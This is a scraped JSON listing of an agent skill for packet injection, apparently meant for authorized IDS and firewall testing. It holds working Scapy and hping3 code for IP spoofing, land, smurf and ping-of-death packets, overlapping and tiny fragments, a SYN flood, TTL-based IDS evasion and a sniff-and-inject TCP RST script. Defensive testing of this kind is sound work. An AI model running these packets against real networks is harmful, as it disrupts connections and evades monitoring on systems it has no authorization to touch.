[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M7AA6KTSW0HEAVJC5D24DPS1":3,"skill-same:01M7AA6KTSW0HEAVJC5D24DPS1":83},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":16,"sourceHtmlUrl":17,"categories":18,"keywords":19,"publishedAt":20,"linkOnly":21,"markdownContent":22,"markdownBody":23,"frontMatter":24,"refName":46,"commitSha":47,"skillDirectory":48,"forksCount":14,"repositoryHtmlUrl":49,"repositoryHomepageUrl":6,"ownerHtmlUrl":50,"ownerBlogUrl":6,"ownerDescription":51,"updatedAt":52,"install":53,"resources":66},"01M7AA6KTSW0HEAVJC5D24DPS1","performing-packet-injection-attack",null,"Crafts and injects custom network packets using Scapy, hping3, and Nemesis during authorized security assessments to test firewall rules, IDS detection, protocol handling, and network stack resilience against malformed and spoofed traffic.","NeelakshSaxena\u002FVayu","NeelakshSaxena","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F87892838?v=4","01M7A3B9YFS6F6N9DD1787DT86","Neelaksh Saxena","01M7A3B9ZKBT09MNMPX2XN69BY",0,"Apache-2.0","https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.agents\u002Fskills\u002Fperforming-packet-injection-attack\u002FLICENSE","https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.agents\u002Fskills\u002Fperforming-packet-injection-attack\u002FSKILL.md",[],[],"2026-11-15 14:19:17",false,"---\nname: performing-packet-injection-attack\ndescription: 'Crafts and injects custom network packets using Scapy, hping3, and Nemesis\n  during authorized security assessments to test firewall rules, IDS detection, protocol\n  handling, and network stack resilience against malformed and spoofed traffic.\n\n  '\ndomain: cybersecurity\nsubdomain: network-security\ntags:\n- network-security\n- packet-injection\n- scapy\n- hping3\n- protocol-testing\nversion: '1.0'\nauthor: mahipal\nlicense: Apache-2.0\nnist_csf:\n- PR.IR-01\n- DE.CM-01\n- ID.AM-03\n- PR.DS-02\nmitre_attack:\n- T1046\n- T1040\n- T1557\n- T1071\n- T1055\n---\n# Performing Packet Injection Attack\n\n## When to Use\n\n- Testing IDS\u002FIPS rules by injecting traffic that should trigger specific detection signatures\n- Validating firewall rules by crafting packets with specific flags, source addresses, and payloads\n- Assessing network stack resilience to malformed packets, fragmentation attacks, and protocol violations\n- Simulating spoofed traffic to test anti-spoofing controls (BCP38, uRPF)\n- Performing TCP reset injection to test connection resilience and session hijacking scenarios\n\n**Do not use** for denial-of-service attacks against production systems, for spoofing traffic to frame third parties, or without explicit authorization for the target network.\n\n## Prerequisites\n\n- Written authorization specifying in-scope targets and approved packet injection techniques\n- Scapy, hping3, and Nemesis installed on the testing platform\n- Root\u002Fsudo privileges for raw socket access and packet crafting\n- Wireshark or tcpdump on the target side to verify packet delivery\n- Understanding of TCP\u002FIP protocol internals, header fields, and flag combinations\n\n## Workflow\n\n### Step 1: Craft and Send Basic Test Packets with Scapy\n\n```python\n#!\u002Fusr\u002Fbin\u002Fenv python3\n\"\"\"Basic packet injection examples using Scapy for authorized testing.\"\"\"\n\nfrom scapy.all import *\n\n# TCP SYN packet (port scan simulation)\nsyn = IP(dst=\"10.10.20.10\") \u002F TCP(dport=80, flags=\"S\", seq=1000)\nresponse = sr1(syn, timeout=2, verbose=0)\nif response and response.haslayer(TCP):\n    if response[TCP].flags == \"SA\":\n        print(f\"[*] Port 80 is OPEN (SYN-ACK received)\")\n    elif response[TCP].flags == \"RA\":\n        print(f\"[*] Port 80 is CLOSED (RST-ACK received)\")\n\n# TCP XMAS scan packet (all flags set)\nxmas = IP(dst=\"10.10.20.10\") \u002F TCP(dport=80, flags=\"FPU\")\nsend(xmas, verbose=0)\nprint(\"[*] XMAS packet sent (should trigger IDS)\")\n\n# NULL scan packet (no flags)\nnull = IP(dst=\"10.10.20.10\") \u002F TCP(dport=80, flags=\"\")\nsend(null, verbose=0)\nprint(\"[*] NULL packet sent\")\n\n# Crafted ICMP packet with custom payload\nicmp_custom = IP(dst=\"10.10.20.10\") \u002F ICMP(type=8) \u002F Raw(load=\"SECURITY_TEST_PAYLOAD\")\nsend(icmp_custom, verbose=0)\nprint(\"[*] Custom ICMP packet sent\")\n\n# UDP packet to test firewall rules\nudp_test = IP(dst=\"10.10.20.10\") \u002F UDP(dport=53) \u002F DNS(rd=1, qd=DNSQR(qname=\"test.example.com\"))\nresponse = sr1(udp_test, timeout=2, verbose=0)\nif response:\n    print(f\"[*] DNS response received from {response[IP].src}\")\n```\n\n### Step 2: IP Spoofing and Anti-Spoofing Validation\n\n```python\n#!\u002Fusr\u002Fbin\u002Fenv python3\n\"\"\"Test anti-spoofing controls with spoofed source IP packets.\"\"\"\n\nfrom scapy.all import *\n\n# Spoofed source IP (should be blocked by BCP38\u002FuRPF)\nspoofed_syn = IP(src=\"192.0.2.100\", dst=\"10.10.20.10\") \u002F TCP(dport=80, flags=\"S\")\nsend(spoofed_syn, verbose=0)\nprint(\"[*] Sent SYN with spoofed source 192.0.2.100\")\n\n# Land attack test (source = destination)\nland = IP(src=\"10.10.20.10\", dst=\"10.10.20.10\") \u002F TCP(sport=80, dport=80, flags=\"S\")\nsend(land, verbose=0)\nprint(\"[*] Land attack packet sent (src==dst)\")\n\n# Smurf attack test (ICMP to broadcast with spoofed source)\nsmurf = IP(src=\"10.10.20.10\", dst=\"10.10.20.255\") \u002F ICMP(type=8)\nsend(smurf, verbose=0)\nprint(\"[*] Smurf test packet sent (ICMP to broadcast)\")\n\n# IP fragment overlap test\nfrag1 = IP(dst=\"10.10.20.10\", flags=\"MF\", frag=0) \u002F TCP(dport=80, flags=\"S\") \u002F Raw(load=\"A\"*24)\nfrag2 = IP(dst=\"10.10.20.10\", frag=2) \u002F Raw(load=\"B\"*24)  # Overlapping fragment\nsend(frag1, verbose=0)\nsend(frag2, verbose=0)\nprint(\"[*] Overlapping IP fragments sent\")\n```\n\n### Step 3: TCP Session Manipulation\n\n```bash\n# TCP RST injection to test connection resilience\n# Using hping3 to send RST packets\nsudo hping3 -S -p 80 --rst -c 5 10.10.20.10\n\n# SYN flood test (limited volume for testing, not DoS)\nsudo hping3 -S --flood -V -p 80 -c 100 10.10.20.10\n# Note: --flood sends at maximum rate; -c 100 limits to 100 packets\n\n# Test TCP window manipulation\nsudo hping3 -S -p 80 -w 0 -c 5 10.10.20.10  # Zero window\nsudo hping3 -S -p 80 -w 65535 -c 5 10.10.20.10  # Max window\n\n# Idle scan probe (to test if a host can be used as zombie)\nsudo hping3 -SA -p 80 -c 3 10.10.20.10\n# Check IP ID values in response for predictability\n```\n\n```python\n#!\u002Fusr\u002Fbin\u002Fenv python3\n\"\"\"TCP RST injection to test session resilience.\"\"\"\n\nfrom scapy.all import *\n\n# Sniff for an active TCP connection and inject RST\ndef rst_inject(pkt):\n    if pkt.haslayer(TCP) and pkt[TCP].flags == \"A\":\n        rst = IP(\n            src=pkt[IP].dst,\n            dst=pkt[IP].src\n        ) \u002F TCP(\n            sport=pkt[TCP].dport,\n            dport=pkt[TCP].sport,\n            seq=pkt[TCP].ack,\n            flags=\"R\"\n        )\n        send(rst, verbose=0)\n        print(f\"[*] RST injected: {pkt[IP].src}:{pkt[TCP].sport} -> {pkt[IP].dst}:{pkt[TCP].dport}\")\n\n# Sniff for 10 packets and attempt RST injection\nprint(\"[*] Listening for TCP ACK packets to inject RST...\")\nsniff(filter=\"tcp and host 10.10.20.10\", prn=rst_inject, count=10, iface=\"eth0\")\n```\n\n### Step 4: Protocol Anomaly Testing\n\n```python\n#!\u002Fusr\u002Fbin\u002Fenv python3\n\"\"\"Protocol anomaly packets for IDS\u002Ffirewall testing.\"\"\"\n\nfrom scapy.all import *\n\ntarget = \"10.10.20.10\"\n\n# Ping of Death (oversized ICMP - should be blocked)\npod = IP(dst=target) \u002F ICMP() \u002F Raw(load=\"X\" * 65500)\nsend(fragment(pod), verbose=0)\nprint(\"[*] Ping of Death fragments sent\")\n\n# Tiny fragment attack (TCP header split across fragments)\ntiny_frag = IP(dst=target, flags=\"MF\", frag=0) \u002F Raw(load=bytes(TCP(dport=80, flags=\"S\"))[:8])\ntiny_frag2 = IP(dst=target, frag=1) \u002F Raw(load=bytes(TCP(dport=80, flags=\"S\"))[8:])\nsend(tiny_frag, verbose=0)\nsend(tiny_frag2, verbose=0)\nprint(\"[*] Tiny fragment attack packets sent\")\n\n# Invalid TCP flag combinations\ninvalid_flags = [\n    (\"SYN+FIN\", \"SF\"),\n    (\"SYN+RST\", \"SR\"),\n    (\"FIN only (no session)\", \"F\"),\n    (\"All flags\", \"FSRPAUEC\"),\n]\n\nfor name, flags in invalid_flags:\n    pkt = IP(dst=target) \u002F TCP(dport=80, flags=flags)\n    send(pkt, verbose=0)\n    print(f\"[*] Sent packet with invalid flags: {name}\")\n\n# TTL-based evasion (packets that expire before reaching IDS)\n# Assumes IDS is 2 hops away, target is 5 hops\nttl_evade = IP(dst=target, ttl=3) \u002F TCP(dport=80, flags=\"S\")\nsend(ttl_evade, verbose=0)\nprint(\"[*] Low-TTL evasion packet sent (TTL=3)\")\n\n# IP options padding\nip_opts = IP(dst=target, options=[IPOption_RR()]) \u002F TCP(dport=80, flags=\"S\")\nsend(ip_opts, verbose=0)\nprint(\"[*] Packet with IP Record Route option sent\")\n```\n\n### Step 5: Verify IDS Detection\n\n```bash\n# Check Snort\u002FSuricata for alerts triggered by injected packets\ngrep -i \"xmas\\|null\\|land\\|smurf\\|ping.of.death\\|fragment\" \u002Fvar\u002Flog\u002Fsuricata\u002Feve.json | \\\n  python3 -m json.tool | head -50\n\n# Expected IDS alerts:\n# - XMAS scan detected (SID: 2100330)\n# - NULL scan detected (SID: 2100331)\n# - Land attack detected\n# - Smurf attack detected\n# - Fragmentation anomaly\n# - Invalid TCP flags\n\n# Verify firewall dropped spoofed packets\nsudo iptables -L -n -v | grep -i drop\n\n# Check for fragmentation reassembly errors\ndmesg | grep -i \"fragment\\|frag\"\n```\n\n### Step 6: Document Results\n\n```bash\n# Generate test results summary\ncat > packet_injection_report.txt \u003C\u003C 'EOF'\nPacket Injection Test Results\n=============================\nDate: $(date)\nTarget: 10.10.20.10\nTester: Security Assessment Team\n\nTest 1: TCP XMAS Scan\n  IDS Detection: YES (Suricata SID 2100330)\n  Firewall Action: Dropped\n\nTest 2: IP Spoofing (192.0.2.100)\n  uRPF Block: YES (packet dropped at edge router)\n  IDS Detection: YES (source not in HOME_NET)\n\nTest 3: Fragmentation Overlap\n  IDS Detection: YES (stream reassembly anomaly)\n  Target Response: Fragments dropped by OS\n\nTest 4: Invalid TCP Flags\n  IDS Detection: YES (SYN+FIN, SYN+RST flagged)\n  Firewall Action: Dropped\nEOF\n```\n\n## Key Concepts\n\n| Term | Definition |\n|------|------------|\n| **Packet Injection** | Crafting and sending network packets with specific header values, payloads, or flag combinations to test network security controls |\n| **IP Spoofing** | Setting a false source IP address in crafted packets to test anti-spoofing controls (BCP38, uRPF) or impersonate another host |\n| **TCP RST Injection** | Sending forged TCP RST packets to terminate established connections, testing session resilience and connection reset defenses |\n| **Fragmentation Attack** | Exploiting IP fragmentation to split malicious payloads across fragments, evading packet inspection that does not reassemble fragments |\n| **uRPF (Unicast Reverse Path Forwarding)** | Router-level anti-spoofing mechanism that drops packets if the source IP would not be routable back through the ingress interface |\n| **BCP38 (Network Ingress Filtering)** | Best Current Practice for preventing IP spoofing at network borders by filtering packets with source addresses not belonging to the network |\n\n## Tools & Systems\n\n- **Scapy**: Python packet manipulation library for crafting arbitrary network packets with full control over all protocol headers\n- **hping3**: Command-line packet generator supporting TCP, UDP, ICMP with control over flags, TTL, window size, and packet rate\n- **Nemesis**: Network packet injection tool supporting Ethernet, ARP, IP, TCP, UDP, ICMP, DNS, and other protocols\n- **tcpreplay**: Tool for replaying captured PCAP files at controlled rates for testing IDS rules against known traffic patterns\n- **Nping**: Nmap's packet generation tool for crafting probes with arbitrary TCP\u002FUDP\u002FICMP headers\n\n## Common Scenarios\n\n### Scenario: Validating IDS Rules After Deployment\n\n**Context**: A SOC team deployed new Suricata rules for detecting reconnaissance and evasion techniques. They need to validate that the rules trigger correctly before going live. The testing is performed in a staging environment replicating the production network.\n\n**Approach**:\n1. Craft XMAS, NULL, and FIN scan packets using Scapy and send to test targets to verify scan detection rules\n2. Generate packets with invalid TCP flag combinations (SYN+FIN, SYN+RST) to test protocol anomaly rules\n3. Send oversized ICMP packets and fragmented payloads to test fragmentation detection rules\n4. Inject packets with spoofed source IPs to verify anti-spoofing rules fire correctly\n5. Send TCP RST injection packets during an active HTTP session to test session disruption detection\n6. Verify that all expected Suricata alerts appear in the EVE JSON log with correct severity and metadata\n7. Document which rules fired, which did not, and recommend rule tuning for any gaps\n\n**Pitfalls**:\n- Sending injection packets too fast and overwhelming the test network or IDS sensor\n- Crafting packets with incorrect checksum calculations, causing them to be silently dropped before reaching the IDS\n- Not accounting for stateful firewalls that drop out-of-state packets before they reach the IDS for inspection\n- Testing from behind a NAT that modifies source ports and breaks crafted TCP sequences\n\n## Output Format\n\n```\n## Packet Injection Test Report\n\n**Target**: 10.10.20.10 (test-server-01)\n**IDS Sensor**: suricata-staging-01\n**Test Date**: 2024-03-15\n\n### Test Matrix\n\n| Test | Packet Type | Expected Detection | Actual Result |\n|------|-------------|-------------------|---------------|\n| 1 | TCP XMAS Scan | SID 2100330 | DETECTED |\n| 2 | TCP NULL Scan | SID 2100331 | DETECTED |\n| 3 | SYN+FIN Invalid | SID 2100332 | DETECTED |\n| 4 | IP Spoofed Source | SID 2003000 | DETECTED |\n| 5 | Land Attack | SID 2100333 | NOT DETECTED |\n| 6 | Fragment Overlap | SID 2200001 | DETECTED |\n| 7 | Ping of Death | SID 2100334 | DETECTED |\n| 8 | TCP RST Injection | Custom SID | NOT DETECTED |\n\n### Detection Rate: 6\u002F8 (75%)\n\n### Gaps Identified\n1. Land attack (src==dst) not detected -- add rule SID 2100333\n2. TCP RST injection not detected -- create custom rule for out-of-window RST\n```\n","# Performing Packet Injection Attack\n\n## When to Use\n\n- Testing IDS\u002FIPS rules by injecting traffic that should trigger specific detection signatures\n- Validating firewall rules by crafting packets with specific flags, source addresses, and payloads\n- Assessing network stack resilience to malformed packets, fragmentation attacks, and protocol violations\n- Simulating spoofed traffic to test anti-spoofing controls (BCP38, uRPF)\n- Performing TCP reset injection to test connection resilience and session hijacking scenarios\n\n**Do not use** for denial-of-service attacks against production systems, for spoofing traffic to frame third parties, or without explicit authorization for the target network.\n\n## Prerequisites\n\n- Written authorization specifying in-scope targets and approved packet injection techniques\n- Scapy, hping3, and Nemesis installed on the testing platform\n- Root\u002Fsudo privileges for raw socket access and packet crafting\n- Wireshark or tcpdump on the target side to verify packet delivery\n- Understanding of TCP\u002FIP protocol internals, header fields, and flag combinations\n\n## Workflow\n\n### Step 1: Craft and Send Basic Test Packets with Scapy\n\n```python\n#!\u002Fusr\u002Fbin\u002Fenv python3\n\"\"\"Basic packet injection examples using Scapy for authorized testing.\"\"\"\n\nfrom scapy.all import *\n\n# TCP SYN packet (port scan simulation)\nsyn = IP(dst=\"10.10.20.10\") \u002F TCP(dport=80, flags=\"S\", seq=1000)\nresponse = sr1(syn, timeout=2, verbose=0)\nif response and response.haslayer(TCP):\n    if response[TCP].flags == \"SA\":\n        print(f\"[*] Port 80 is OPEN (SYN-ACK received)\")\n    elif response[TCP].flags == \"RA\":\n        print(f\"[*] Port 80 is CLOSED (RST-ACK received)\")\n\n# TCP XMAS scan packet (all flags set)\nxmas = IP(dst=\"10.10.20.10\") \u002F TCP(dport=80, flags=\"FPU\")\nsend(xmas, verbose=0)\nprint(\"[*] XMAS packet sent (should trigger IDS)\")\n\n# NULL scan packet (no flags)\nnull = IP(dst=\"10.10.20.10\") \u002F TCP(dport=80, flags=\"\")\nsend(null, verbose=0)\nprint(\"[*] NULL packet sent\")\n\n# Crafted ICMP packet with custom payload\nicmp_custom = IP(dst=\"10.10.20.10\") \u002F ICMP(type=8) \u002F Raw(load=\"SECURITY_TEST_PAYLOAD\")\nsend(icmp_custom, verbose=0)\nprint(\"[*] Custom ICMP packet sent\")\n\n# UDP packet to test firewall rules\nudp_test = IP(dst=\"10.10.20.10\") \u002F UDP(dport=53) \u002F DNS(rd=1, qd=DNSQR(qname=\"test.example.com\"))\nresponse = sr1(udp_test, timeout=2, verbose=0)\nif response:\n    print(f\"[*] DNS response received from {response[IP].src}\")\n```\n\n### Step 2: IP Spoofing and Anti-Spoofing Validation\n\n```python\n#!\u002Fusr\u002Fbin\u002Fenv python3\n\"\"\"Test anti-spoofing controls with spoofed source IP packets.\"\"\"\n\nfrom scapy.all import *\n\n# Spoofed source IP (should be blocked by BCP38\u002FuRPF)\nspoofed_syn = IP(src=\"192.0.2.100\", dst=\"10.10.20.10\") \u002F TCP(dport=80, flags=\"S\")\nsend(spoofed_syn, verbose=0)\nprint(\"[*] Sent SYN with spoofed source 192.0.2.100\")\n\n# Land attack test (source = destination)\nland = IP(src=\"10.10.20.10\", dst=\"10.10.20.10\") \u002F TCP(sport=80, dport=80, flags=\"S\")\nsend(land, verbose=0)\nprint(\"[*] Land attack packet sent (src==dst)\")\n\n# Smurf attack test (ICMP to broadcast with spoofed source)\nsmurf = IP(src=\"10.10.20.10\", dst=\"10.10.20.255\") \u002F ICMP(type=8)\nsend(smurf, verbose=0)\nprint(\"[*] Smurf test packet sent (ICMP to broadcast)\")\n\n# IP fragment overlap test\nfrag1 = IP(dst=\"10.10.20.10\", flags=\"MF\", frag=0) \u002F TCP(dport=80, flags=\"S\") \u002F Raw(load=\"A\"*24)\nfrag2 = IP(dst=\"10.10.20.10\", frag=2) \u002F Raw(load=\"B\"*24)  # Overlapping fragment\nsend(frag1, verbose=0)\nsend(frag2, verbose=0)\nprint(\"[*] Overlapping IP fragments sent\")\n```\n\n### Step 3: TCP Session Manipulation\n\n```bash\n# TCP RST injection to test connection resilience\n# Using hping3 to send RST packets\nsudo hping3 -S -p 80 --rst -c 5 10.10.20.10\n\n# SYN flood test (limited volume for testing, not DoS)\nsudo hping3 -S --flood -V -p 80 -c 100 10.10.20.10\n# Note: --flood sends at maximum rate; -c 100 limits to 100 packets\n\n# Test TCP window manipulation\nsudo hping3 -S -p 80 -w 0 -c 5 10.10.20.10  # Zero window\nsudo hping3 -S -p 80 -w 65535 -c 5 10.10.20.10  # Max window\n\n# Idle scan probe (to test if a host can be used as zombie)\nsudo hping3 -SA -p 80 -c 3 10.10.20.10\n# Check IP ID values in response for predictability\n```\n\n```python\n#!\u002Fusr\u002Fbin\u002Fenv python3\n\"\"\"TCP RST injection to test session resilience.\"\"\"\n\nfrom scapy.all import *\n\n# Sniff for an active TCP connection and inject RST\ndef rst_inject(pkt):\n    if pkt.haslayer(TCP) and pkt[TCP].flags == \"A\":\n        rst = IP(\n            src=pkt[IP].dst,\n            dst=pkt[IP].src\n        ) \u002F TCP(\n            sport=pkt[TCP].dport,\n            dport=pkt[TCP].sport,\n            seq=pkt[TCP].ack,\n            flags=\"R\"\n        )\n        send(rst, verbose=0)\n        print(f\"[*] RST injected: {pkt[IP].src}:{pkt[TCP].sport} -> {pkt[IP].dst}:{pkt[TCP].dport}\")\n\n# Sniff for 10 packets and attempt RST injection\nprint(\"[*] Listening for TCP ACK packets to inject RST...\")\nsniff(filter=\"tcp and host 10.10.20.10\", prn=rst_inject, count=10, iface=\"eth0\")\n```\n\n### Step 4: Protocol Anomaly Testing\n\n```python\n#!\u002Fusr\u002Fbin\u002Fenv python3\n\"\"\"Protocol anomaly packets for IDS\u002Ffirewall testing.\"\"\"\n\nfrom scapy.all import *\n\ntarget = \"10.10.20.10\"\n\n# Ping of Death (oversized ICMP - should be blocked)\npod = IP(dst=target) \u002F ICMP() \u002F Raw(load=\"X\" * 65500)\nsend(fragment(pod), verbose=0)\nprint(\"[*] Ping of Death fragments sent\")\n\n# Tiny fragment attack (TCP header split across fragments)\ntiny_frag = IP(dst=target, flags=\"MF\", frag=0) \u002F Raw(load=bytes(TCP(dport=80, flags=\"S\"))[:8])\ntiny_frag2 = IP(dst=target, frag=1) \u002F Raw(load=bytes(TCP(dport=80, flags=\"S\"))[8:])\nsend(tiny_frag, verbose=0)\nsend(tiny_frag2, verbose=0)\nprint(\"[*] Tiny fragment attack packets sent\")\n\n# Invalid TCP flag combinations\ninvalid_flags = [\n    (\"SYN+FIN\", \"SF\"),\n    (\"SYN+RST\", \"SR\"),\n    (\"FIN only (no session)\", \"F\"),\n    (\"All flags\", \"FSRPAUEC\"),\n]\n\nfor name, flags in invalid_flags:\n    pkt = IP(dst=target) \u002F TCP(dport=80, flags=flags)\n    send(pkt, verbose=0)\n    print(f\"[*] Sent packet with invalid flags: {name}\")\n\n# TTL-based evasion (packets that expire before reaching IDS)\n# Assumes IDS is 2 hops away, target is 5 hops\nttl_evade = IP(dst=target, ttl=3) \u002F TCP(dport=80, flags=\"S\")\nsend(ttl_evade, verbose=0)\nprint(\"[*] Low-TTL evasion packet sent (TTL=3)\")\n\n# IP options padding\nip_opts = IP(dst=target, options=[IPOption_RR()]) \u002F TCP(dport=80, flags=\"S\")\nsend(ip_opts, verbose=0)\nprint(\"[*] Packet with IP Record Route option sent\")\n```\n\n### Step 5: Verify IDS Detection\n\n```bash\n# Check Snort\u002FSuricata for alerts triggered by injected packets\ngrep -i \"xmas\\|null\\|land\\|smurf\\|ping.of.death\\|fragment\" \u002Fvar\u002Flog\u002Fsuricata\u002Feve.json | \\\n  python3 -m json.tool | head -50\n\n# Expected IDS alerts:\n# - XMAS scan detected (SID: 2100330)\n# - NULL scan detected (SID: 2100331)\n# - Land attack detected\n# - Smurf attack detected\n# - Fragmentation anomaly\n# - Invalid TCP flags\n\n# Verify firewall dropped spoofed packets\nsudo iptables -L -n -v | grep -i drop\n\n# Check for fragmentation reassembly errors\ndmesg | grep -i \"fragment\\|frag\"\n```\n\n### Step 6: Document Results\n\n```bash\n# Generate test results summary\ncat > packet_injection_report.txt \u003C\u003C 'EOF'\nPacket Injection Test Results\n=============================\nDate: $(date)\nTarget: 10.10.20.10\nTester: Security Assessment Team\n\nTest 1: TCP XMAS Scan\n  IDS Detection: YES (Suricata SID 2100330)\n  Firewall Action: Dropped\n\nTest 2: IP Spoofing (192.0.2.100)\n  uRPF Block: YES (packet dropped at edge router)\n  IDS Detection: YES (source not in HOME_NET)\n\nTest 3: Fragmentation Overlap\n  IDS Detection: YES (stream reassembly anomaly)\n  Target Response: Fragments dropped by OS\n\nTest 4: Invalid TCP Flags\n  IDS Detection: YES (SYN+FIN, SYN+RST flagged)\n  Firewall Action: Dropped\nEOF\n```\n\n## Key Concepts\n\n| Term | Definition |\n|------|------------|\n| **Packet Injection** | Crafting and sending network packets with specific header values, payloads, or flag combinations to test network security controls |\n| **IP Spoofing** | Setting a false source IP address in crafted packets to test anti-spoofing controls (BCP38, uRPF) or impersonate another host |\n| **TCP RST Injection** | Sending forged TCP RST packets to terminate established connections, testing session resilience and connection reset defenses |\n| **Fragmentation Attack** | Exploiting IP fragmentation to split malicious payloads across fragments, evading packet inspection that does not reassemble fragments |\n| **uRPF (Unicast Reverse Path Forwarding)** | Router-level anti-spoofing mechanism that drops packets if the source IP would not be routable back through the ingress interface |\n| **BCP38 (Network Ingress Filtering)** | Best Current Practice for preventing IP spoofing at network borders by filtering packets with source addresses not belonging to the network |\n\n## Tools & Systems\n\n- **Scapy**: Python packet manipulation library for crafting arbitrary network packets with full control over all protocol headers\n- **hping3**: Command-line packet generator supporting TCP, UDP, ICMP with control over flags, TTL, window size, and packet rate\n- **Nemesis**: Network packet injection tool supporting Ethernet, ARP, IP, TCP, UDP, ICMP, DNS, and other protocols\n- **tcpreplay**: Tool for replaying captured PCAP files at controlled rates for testing IDS rules against known traffic patterns\n- **Nping**: Nmap's packet generation tool for crafting probes with arbitrary TCP\u002FUDP\u002FICMP headers\n\n## Common Scenarios\n\n### Scenario: Validating IDS Rules After Deployment\n\n**Context**: A SOC team deployed new Suricata rules for detecting reconnaissance and evasion techniques. They need to validate that the rules trigger correctly before going live. The testing is performed in a staging environment replicating the production network.\n\n**Approach**:\n1. Craft XMAS, NULL, and FIN scan packets using Scapy and send to test targets to verify scan detection rules\n2. Generate packets with invalid TCP flag combinations (SYN+FIN, SYN+RST) to test protocol anomaly rules\n3. Send oversized ICMP packets and fragmented payloads to test fragmentation detection rules\n4. Inject packets with spoofed source IPs to verify anti-spoofing rules fire correctly\n5. Send TCP RST injection packets during an active HTTP session to test session disruption detection\n6. Verify that all expected Suricata alerts appear in the EVE JSON log with correct severity and metadata\n7. Document which rules fired, which did not, and recommend rule tuning for any gaps\n\n**Pitfalls**:\n- Sending injection packets too fast and overwhelming the test network or IDS sensor\n- Crafting packets with incorrect checksum calculations, causing them to be silently dropped before reaching the IDS\n- Not accounting for stateful firewalls that drop out-of-state packets before they reach the IDS for inspection\n- Testing from behind a NAT that modifies source ports and breaks crafted TCP sequences\n\n## Output Format\n\n```\n## Packet Injection Test Report\n\n**Target**: 10.10.20.10 (test-server-01)\n**IDS Sensor**: suricata-staging-01\n**Test Date**: 2024-03-15\n\n### Test Matrix\n\n| Test | Packet Type | Expected Detection | Actual Result |\n|------|-------------|-------------------|---------------|\n| 1 | TCP XMAS Scan | SID 2100330 | DETECTED |\n| 2 | TCP NULL Scan | SID 2100331 | DETECTED |\n| 3 | SYN+FIN Invalid | SID 2100332 | DETECTED |\n| 4 | IP Spoofed Source | SID 2003000 | DETECTED |\n| 5 | Land Attack | SID 2100333 | NOT DETECTED |\n| 6 | Fragment Overlap | SID 2200001 | DETECTED |\n| 7 | Ping of Death | SID 2100334 | DETECTED |\n| 8 | TCP RST Injection | Custom SID | NOT DETECTED |\n\n### Detection Rate: 6\u002F8 (75%)\n\n### Gaps Identified\n1. Land attack (src==dst) not detected -- add rule SID 2100333\n2. TCP RST injection not detected -- create custom rule for out-of-window RST\n```\n",{"name":5,"tags":25,"author":31,"domain":32,"license":15,"version":33,"nist_csf":34,"subdomain":26,"description":39,"mitre_attack":40},[26,27,28,29,30],"network-security","packet-injection","scapy","hping3","protocol-testing","mahipal","cybersecurity","1.0",[35,36,37,38],"PR.IR-01","DE.CM-01","ID.AM-03","PR.DS-02","Crafts and injects custom network packets using Scapy, hping3, and Nemesis during authorized security assessments to test firewall rules, IDS detection, protocol handling, and network stack resilience against malformed and spoofed traffic.\n",[41,42,43,44,45],"T1046","T1040","T1557","T1071","T1055","main","7540bbccf0c1ded6156a467b02c95b61ad62413f",".agents\u002Fskills\u002Fperforming-packet-injection-attack","https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu","https:\u002F\u002Fgithub.com\u002FNeelakshSaxena","Currently exploring the intersection of tech","2026-09-11 03:02:31",{"source":8,"skillName":5,"commands":54,"prompt":64,"zipAvailable":65},[55,58,61],{"tool":56,"command":57},"npx","npx skills add NeelakshSaxena\u002FVayu --skill performing-packet-injection-attack",{"tool":59,"command":60},"bunx","bunx skills add NeelakshSaxena\u002FVayu --skill performing-packet-injection-attack",{"tool":62,"command":63},"pnpm","pnpm dlx skills add NeelakshSaxena\u002FVayu --skill performing-packet-injection-attack","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.agents\u002Fskills\u002Fperforming-packet-injection-attack\u002FSKILL.md",true,[67,71,77],{"path":68,"resourceType":68,"resourceTypeDesc":69,"sizeBytes":70,"sourceHtmlUrl":16},"LICENSE","许可证",11255,{"path":72,"resourceType":73,"resourceTypeDesc":74,"sizeBytes":75,"sourceHtmlUrl":76},"references\u002Fapi-reference.md","REFERENCE","参考文档",1665,"https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.agents\u002Fskills\u002Fperforming-packet-injection-attack\u002Freferences\u002Fapi-reference.md",{"path":78,"resourceType":79,"resourceTypeDesc":80,"sizeBytes":81,"sourceHtmlUrl":82},"scripts\u002Fagent.py","SCRIPT","脚本",6935,"https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.agents\u002Fskills\u002Fperforming-packet-injection-attack\u002Fscripts\u002Fagent.py",[84,91,98,105,112,119],{"skillNo":85,"name":86,"nameZh":6,"description":87,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":88,"categories":89,"keywords":90,"publishedAt":20},"01M7ACCCVNCFKMA9X6D15X6G98","runpodctl","Runpod CLI for managing GPU\u002FCPU workloads from the terminal — pods, serverless endpoints, templates, network volumes, Hub deploys, models, SSH, and file transfer (send\u002Freceive). Use for terminal\u002FCI\u002Fscripting, Hub browse\u002Fdeploy, SSH setup, `doctor`, or when the Runpod MCP tools are not connected. For structured tool calls in an MCP-enabled session, prefer 